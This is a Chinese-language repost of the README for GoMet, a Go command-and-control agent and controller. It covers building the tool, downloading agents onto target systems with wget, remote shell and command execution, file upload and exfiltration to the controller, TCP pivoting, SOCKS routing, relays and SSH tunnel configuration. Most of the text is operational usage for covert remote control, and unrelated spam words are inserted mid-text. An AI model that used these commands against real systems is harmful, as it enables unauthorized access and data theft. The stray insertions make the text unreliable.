GoMet:Go编写的多平台Agent和控制器

    xiaoxiao2024-10-18  3

    GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。

    构建

    安装 Go (https://golang.org/dl/).

    克隆存储库

    git clone git@github.com:gomet-app/GoMet.git

    并编译 GoMet

    cd GoMet go build ./... go build .

    基础使用

    启动 GoMet

    #> ./gomet ____ __ __ _ / ___| ___ | \/ | ___| |_ | | _ / _ \| |\/| |/ _ \ __| | |_| | (_) | | | | __/ |_ \____|\___/|_| |_|\___|\__| v0.0.1 server > info Local listener: 0.0.0.0:8888 Socks listener: 127.0.0.1:9050 HTTP magic: khRoKbh3AZSHbix server > server > help Commands: clear 清屏 exit 退出 generate 生成一个 agent help 显示帮助信息 info 打印服务器信息 routes 列出 routes sessions 列出 sessions

    在目标系统上,下载相应操作系统和架构的Agent程序

    wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

    控制器会自动使用正确的信息来构建 agent。中国菜刀

    注意:“khRoKbh3AZSHbix”是由控制器随机生成的,在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中,你必须添加 –no-check-certificate选项,因为默认TLS证书是自动签名的。

    可用操作系统(参见 Golang GOOS):

    linux darwin windows solaris ...

    可用架构(参见 Golang GOARCH):

    386 amd64 arm arm64 ...

    启动 agent

    chmod +x agent ./agent

    在 GoMet CLI 中,我们可以看到创建的新会话

    server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64

    会话交互

    server > sessions open 1 session 1 > help Commands: cat 打印文件 clear 清屏 close 关闭 session connect 连接一个本地端口到远端地址 download 下载文件 execute 执行命令 exit 返回到服务器 getuid 获取用户 Id help 显示帮助信息 jobs 列出 jobs listen 连接一个远程端口到本地地址 ls 列出文件 netstat 列出连接 ps 列出进程 pwd 获取当前目录 relay 中继侦听 shell 远程shell交互 streams 列出数据流 upload 上传文件 session 1 >

    TCP 转发

    我们可以通过 agent TLS tunnel 双向转发 TCP 连接。天空彩

    connect

    在本地侦听端口(在控制器系统上)并将其转发到远程服务。

    listen

    在远程侦听端口(在代理系统上)并将其转发到本地服务。

    Socks5 和 routing

    我们可以在控制器上启用 Socks5 listener,以通过 agents 访问远程网络,并定义到不同会话的路由。二四六

    做一个中继

    如果无法从目标系统访问控制器,我们可以在另一个 agent 上定义“中继”。 然后我们可以像控制器本身一样通过中继访问控制器。

    session 1 > relay Remote Address: 0.0.0.0:9999 session 1 >

    并从目标系统

    wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

    与控制器共享文件

    控制器可以共享文件。

    复制共享目录中的文件并使用 magic URL 下载

    wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate

    我们还可以将文件上传到控制器

    wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

    使用 CLI 生成 agent 

    server > generate OS: windows Arch: amd64 Host: <controller>:8888 HTTP proxy: HTTPS proxy: Proxy username: Proxy password: Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat server >

    配置文件

    默认配置文件位于 config/config.json 。

    { "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "api": { "enable": false, "addr": "127.0.0.1:9000" } }

    定义 tunnel

    如果我们想通过隧道侦听,我们可以在配置文件中定义它。 实际上只有SSH。

    { "listenAddr":"0.0.0.0:8888", "socks": { "enable": true, "addr": "127.0.0.1:9050" }, "tunnel": { "listenAddr":"<exit_node>:8888", "nodes": [ { "type":"ssh", "host": "<first_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<second_node>:22", "username": "user", "password": "user" }, { "type":"ssh", "host": "<exit_node>:22", "username": "user", "password": "user" } ] } }

    自定义 TLS 证书

    在 config 目录中会生成一个默认证书,但你也可以用你自己的证书来替换它。

    注意:一旦更改了默认证书,则将重建所有 agents,因为证书的哈希值不同。

    最新回复(0)